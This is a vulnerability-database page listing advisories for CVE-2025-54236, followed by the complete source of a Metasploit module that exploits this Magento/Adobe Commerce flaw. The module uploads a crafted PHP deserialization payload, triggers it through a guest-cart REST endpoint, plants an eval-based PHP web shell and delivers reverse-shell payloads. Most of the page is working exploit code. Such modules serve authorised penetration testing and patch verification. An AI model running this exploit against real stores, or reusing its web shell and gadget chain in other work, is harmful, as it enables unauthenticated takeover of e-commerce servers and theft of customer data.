| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
| Exploit for Improper Input Validation in Adobe Commerce | 19 Mar 202614:44 | – | githubexploit | |
| Exploit for Improper Input Validation in Adobe Commerce | 24 May 202616:08 | – | githubexploit | |
| Exploit for Improper Input Validation in Adobe Commerce | 6 Nov 202509:38 | – | githubexploit | |
| Exploit for Improper Input Validation in Adobe Commerce | 30 Dec 202506:38 | – | githubexploit | |
| Adobe Commerce/Magento Open Source Improper Input Validation (APSB25-88) | 23 Sep 202500:00 | – | nessus | |
| Adobe Commerce B2B Improper Input Validation (APSB25-88) | 23 Sep 202500:00 | – | nessus | |
| Adobe Commerce / Magento Insecure Deserialization (SessionReaper) | 24 Oct 202500:00 | – | nessus | |
| The Grim SessionReaper (CVE-2025-54236) Comes to Collect for Halloween | 27 Oct 202505:00 | – | akamaiblog | |
| APSB25-88 : Security update available for Adobe Commerce | 9 Sep 202500:00 | – | adobe | |
| CVE-2025-54236 | 8 Sep 202516:59 | – | circl |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Magento SessionReaper',
'Description' => %q{
This module exploits CVE-2025-54236 (SessionReaper), a critical vulnerability in
Magento/Adobe Commerce that allows unauthenticated remote code execution.
The vulnerability stems from improper handling of nested deserialization in the
payment method context, combined with an unauthenticated file upload endpoint.
The exploit chain consists of three steps:
1. Upload a malicious PHP session file containing a Guzzle/FW1 deserialization
payload via the unauthenticated /customer/address_file/upload endpoint
2. Trigger deserialization by sending a crafted JSON payload to the REST API
endpoint /rest/default/V1/guest-carts/{cart_id}/order that modifies the
session savePath to point to the uploaded file
3. Execute the uploaded PHP code to gain remote code execution
This vulnerability affects Magento 2.x instances configured to use file-based
session storage. Patched versions will return a 400 Bad Request response instead
of processing the malicious payload.
},
'Author' => [
'Blaklis', # Discovery
'Tomais Williamson', # Research & Analysis
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-54236'],
['URL', 'https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/'],
['URL', 'https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397']
],
'Privileged' => false,
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory', {
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell', {
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-10-22',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end
def check_404_response(body)
lower = body.to_s.downcase
return false unless lower.include?('no such entity')
lower.include?('cartid') || (lower.include?('fieldname') && lower.include?('fieldvalue'))
end
def check_500_response(body)
lower = body.to_s.downcase
return false if lower.include?('500 internal server error') && !lower.include?('sessionhandler')
lower.include?('sessionhandler::read') ||
(lower.include?('no such file or directory') && lower.include?('session')) ||
lower.include?('webapi-')
end
def check
random_path = Array.new(3) { Rex::Text.rand_text_alphanumeric(4..8) }.join('/')
cart_id = Rex::Text.rand_text_alphanumeric(4..8)
res = send_request_cgi({
'uri' => normalize_uri(
target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order'
),
'method' => 'PUT',
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' },
'data' => build_deserialization_payload(random_path)
})
return CheckCode::Unknown('No response from target') unless res
case res.code
when 400
return CheckCode::Safe('Target is patched (returns 400 Bad Request)')
when 404
return CheckCode::Appears('Target returned 404 with expected error pattern') if check_404_response(res.body)
when 500
return CheckCode::Appears('Target returned 500 error with SessionHandler') if check_500_response(res.body)
end
CheckCode::Unknown("Unexpected HTTP status: #{res.code}")
end
def exploit
session_id = Rex::Text.rand_text_hex(32)
session_filename = "sess_#{session_id}"
session_save_dir = session_save_dir_from_filename(session_filename)
exploit_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.php"
post_param = Rex::Text.rand_text_alphanumeric(4..8)
vprint_status('Generating Guzzle/FW1 deserialization payload...')
php_stub = "<?php @eval(base64_decode(\$_POST['#{post_param}']));?>"
guzzle_payload = build_guzzle_fw1_payload("pub/#{exploit_filename}", php_stub)
vprint_status('Uploading session file with Guzzle payload...')
uploaded_path = upload_session_file(session_id, guzzle_payload, Rex::Text.rand_text_alphanumeric(8..12))
return unless uploaded_path
save_path = "media/customer_address#{File.dirname(uploaded_path)}"
unless trigger_deserialization(session_id, save_path)
fail_with(Failure::Unknown, 'Failed to trigger deserialization')
end
register_file_for_cleanup(exploit_filename.to_s)
register_file_for_cleanup("media/customer_address/#{session_save_dir}/#{session_filename}")
register_file_for_cleanup(datastore['FETCH_FILENAME'].to_s) if target['Arch'] == ARCH_CMD && datastore['FETCH_FILENAME'].present?
execute_uri = normalize_uri(target_uri.path, 'pub', exploit_filename)
vprint_status("Executing payload at: #{execute_uri}")
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
encoded_payload = Rex::Text.encode_base64(phped_payload)
send_request_cgi({
'uri' => execute_uri,
'method' => 'POST',
'data' => "#{post_param}=#{Rex::Text.uri_encode(encoded_payload)}",
'ctype' => 'application/x-www-form-urlencoded'
})
end
def session_save_dir_from_filename(filename)
"#{filename[0]}/#{filename[1]}"
end
def upload_session_file(session_id, content, form_key)
filename = "sess_#{session_id}"
vprint_status("Uploading malicious session file: #{filename}")
post_data = Rex::MIME::Message.new
post_data.add_part(form_key, nil, nil, 'form-data; name="form_key"')
filename_part = 'form-data; name="custom_attributes[country_id]"; ' \
"filename=\"#{filename}\""
post_data.add_part(content, 'application/octet-stream', nil, filename_part)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'customer', 'address_file', 'upload'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => "form_key=#{form_key}",
'data' => post_data.to_s,
'keep_cookies' => true
})
return nil unless res&.code == 200
json_response = res.get_json_document
error_msg = json_response&.dig('error')
if error_msg && error_msg != 0
print_error("Upload failed: #{error_msg}")
return nil
end
return json_response['file'] if json_response&.dig('file')
"/#{session_save_dir_from_filename(filename)}/#{filename}"
end
def build_deserialization_payload(save_path)
{
'paymentMethod' => {
'paymentData' => {
'context' => {
'urlBuilder' => {
'session' => {
'sessionConfig' => {
'savePath' => save_path
}
}
}
}
}
}
}.to_json
end
def trigger_deserialization(session_id, save_path)
vprint_status("Triggering deserialization with savePath: #{save_path}")
cart_id = Rex::Text.rand_text_alphanumeric(4..8)
res = send_request_cgi({
'uri' => normalize_uri(
target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order'
),
'method' => 'PUT',
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' },
'cookie' => "PHPSESSID=#{session_id}",
'data' => build_deserialization_payload(save_path)
})
return false unless res&.code == 404 || res&.code == 500
vprint_good("Deserialization triggered (HTTP #{res.code})")
true
end
# Serialize a string to PHP binary-safe string format (S:)
# Characters in printable ASCII range (32-126) except backslash and double quote are kept as-is
# Other characters are escaped as \xHH where HH is the hexadecimal byte value
def serialize_string_ascii(str)
result = str.each_byte.map do |byte|
# Keep printable ASCII characters except backslash (92) and double quote (34)
next byte.chr if (32..126).cover?(byte) && byte != 92 && byte != 34
# Escape other characters as \xHH
"\\#{sprintf('%02x', byte)}"
end.join
# PHP binary-safe string format: S:length:"content";
"S:#{str.length}:\"#{result}\";"
end
def build_guzzle_fw1_payload(target_file, php_content)
escaped = "#{php_content}\n"
set_cookie_data = "a:3:{#{serialize_string_ascii('Expires')}i:1;" \
"#{serialize_string_ascii('Discard')}b:0;" \
"#{serialize_string_ascii('Value')}#{serialize_string_ascii(escaped)}}"
set_cookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' \
"{#{serialize_string_ascii('data')}#{set_cookie_data}}"
cookies_array = "a:1:{i:0;#{set_cookie}}"
file_cookie_jar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' \
"{#{serialize_string_ascii('cookies')}#{cookies_array}" \
"#{serialize_string_ascii('strictMode')}N;" \
"#{serialize_string_ascii('filename')}#{serialize_string_ascii(target_file)}" \
"#{serialize_string_ascii('storeSessionCookies')}b:1;}"
"_|#{file_cookie_jar}"
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation